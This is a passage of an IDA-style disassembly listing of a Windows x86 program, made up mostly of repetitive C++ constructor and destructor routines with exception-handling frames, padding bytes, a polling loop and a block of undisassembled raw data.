[esp+14h+var_4], 12h call sub_401AD2 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AD2 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AD2 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AD2 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AD2 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AD2 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AD2 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AD2 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AD2 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AD2 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AD2 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AD2 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AD2 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417540 proc near ; CODE XREF: sub_4014F1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417540 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4175E0 proc near ; CODE XREF: sub_401E83j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4175E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4175E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417770 proc near ; CODE XREF: sub_402216j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417770 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417830 proc near ; CODE XREF: sub_401EB0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417830 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417830 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4178F0 proc near ; CODE XREF: sub_4018CAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4178F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4178F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417960 proc near ; CODE XREF: sub_4017D0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417960 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_401B27j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A40 proc near ; CODE XREF: sub_401F28j add ecx, 4 jmp sub_401023 sub_417A40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AE0 proc near ; CODE XREF: sub_401DEDj add ecx, 4 jmp sub_401023 sub_417AE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B00 proc near ; CODE XREF: sub_401FF5j add ecx, 4 jmp sub_401023 sub_417B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B20 proc near ; CODE XREF: sub_401EE2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BC0 proc near ; CODE XREF: sub_40157Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417BC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417BC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C60 proc near ; CODE XREF: sub_401645j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417C60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D30 proc near ; CODE XREF: sub_401776j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401749 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417DF0 proc near ; CODE XREF: sub_401820j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E050 mov eax, esi pop esi retn sub_417DF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E20 proc near ; CODE XREF: sub_4016B3j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E05C mov eax, esi pop esi retn sub_417E20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E50 proc near ; CODE XREF: sub_401415j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F10 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F10 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417FD0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417FD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417FD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418050 proc near ; CODE XREF: sub_401D11j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset nullsub_10 mov eax, esi pop esi retn sub_418050 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418080 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418080 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418080 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418100 proc near ; CODE XREF: sub_401A7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418100 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418100 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E09C mov eax, esi pop esi retn sub_418180 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4181B0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4181B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4181B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418230 proc near ; CODE XREF: sub_401573j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A4 mov eax, esi pop esi retn sub_418230 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418260 proc near ; CODE XREF: sub_40178Fj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A8 mov eax, esi pop esi retn sub_418260 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418290 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418290 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_50F8D0 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418348: ; CODE XREF: sub_418330+E4j test bl, bl jnz loc_41841E mov al, [esi+8EF74h] test al, al jnz short loc_41835E mov bl, 1 jmp short loc_418372 ; --------------------------------------------------------------------------- loc_41835E: ; CODE XREF: sub_418330+28j lea ecx, [esi+15Fh] call sub_40185C test al, al setz bl test bl, bl jz short loc_418379 loc_418372: ; CODE XREF: sub_418330+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418379: ; CODE XREF: sub_418330+40j lea ecx, [esp+1Ch+var_C] call sub_402086 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F4B mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jz short loc_4183FE loc_4183B4: ; CODE XREF: sub_418330+CCj lea ecx, [esp+1Ch+var_C] call sub_402211 mov ecx, [eax] call sub_401744 lea ecx, [esp+1Ch+var_C] call sub_402211 mov eax, [eax] test eax, eax jz short loc_4183DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4183DB: ; CODE XREF: sub_418330+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jnz short loc_4183B4 loc_4183FE: ; CODE XREF: sub_418330+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418348 test bl, bl jz short loc_41842B loc_41841E: ; CODE XREF: sub_418330+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41842B: ; CODE XREF: sub_418330+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418490 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418490 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E6ECB mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4184D0 push eax jmp short loc_4184D5 ; --------------------------------------------------------------------------- loc_4184D0: ; CODE XREF: sub_418490+3Bj push offset byte_446F60 loc_4184D5: ; CODE XREF: sub_418490+3Ej lea ecx, [esi+9FD57h] call sub_4015D7 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4184EE push edi jmp short loc_4184F3 ; --------------------------------------------------------------------------- loc_4184EE: ; CODE XREF: sub_418490+59j push offset byte_446F60 loc_4184F3: ; CODE XREF: sub_418490+5Cj lea ecx, [esi+9FD6Ch] call sub_4015D7 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418490 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE945CE8h dd 244C8DFFh, 2685128h, 0E8000002h, 7169E121h, 8F88E890h dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh dd 680050F8h, 3E8h, 0CF8BD3FFh, 0FE8CB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh dd 0E8006A08h, 7782185Eh, 98C6E890h, 8E8DFFFEh, 168h, 0FE91B3E8h dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh dd 8F2478Eh, 8D52E800h, 8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh dd 9FA138Eh, 9046E800h, 8E8DFFFEh, 8F3A2h, 0FE9B26E8h dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h dd 9FC428Eh, 9889E800h, 0CF8BFFFEh, 0FE896EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h dd 9FAD38Eh, 9802E800h, 8E8DFFFEh, 9FB93h, 0FE925CE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h, 69BCE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418840: ; CODE XREF: ___:00402202j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418860: ; CODE XREF: ___:00401EC4j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_447148 call sub_401767 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418890 proc near ; CODE XREF: sub_401B09j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021BC mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401622 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40142E mov edx, [esi+4] mov ecx, esi push edx call sub_4020E5 sub_418890 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418900 proc near ; CODE XREF: sub_401AFAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418900 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418940 proc near ; CODE XREF: sub_4021DAj var_C = byte ptr -0Ch var_8 = 